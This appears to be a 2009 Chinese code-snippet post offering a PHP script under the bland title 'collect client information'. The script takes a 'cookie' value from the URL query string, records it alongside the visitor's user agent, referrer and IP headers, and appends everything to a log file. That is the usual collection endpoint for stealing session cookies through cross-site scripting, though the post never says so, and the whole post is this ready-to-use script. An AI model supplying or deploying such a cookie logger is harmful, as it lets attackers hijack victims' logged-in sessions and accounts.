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收集客户端信息(php)

2009-10-21 09:49 736 0

摘要: <?php $useragent = $_SERVER['HTTP_USER_AGENT']; $cookie = $_GET['cookie']; $httpreferrer...

<?php $useragent = $_SERVER['HTTP_USER_AGENT']; $cookie = $_GET['cookie']; $httpreferrer = $_SERVER['HTTP_REFERER']; $HttpClientIP = $_SERVER['HTTP_CLIENT_IP']; $RemAddr = $_SERVER['REMOTE_ADDR']; $CacheControl = $_SERVER['HTTP_CACHE_CONTROL']; $XForward = $_SERVER['HTTP_X_FORWARDED_FOR']; $querystring = $_SERVER['QUERY_STRING']; $filename = 'log.txt'; $somecontent = "User Agent: $useragent\n Cookie: $cookie\n HTTP Referrer: $httpreferrer\n HTTP Client IP: $HttpClientIP\n Remote Addr ess: $RemAddr\n Cache Control: $CacheControl\n X Forward: $XForward\n Query String: $querystring\n"; if (is_writable($filename)) { if (!$handle = fopen($filename, 'a')) { echo "Cannot open file ($filename)"; exit; } if (fwrite($handle, $somecontent) === FALSE) { echo "Cannot write to file ($filename)"; exit; } echo "Success, wrote ($somecontent) to file ($filename)"; fclose($handle); } else { echo "The file $filename is not writable"; } ?>
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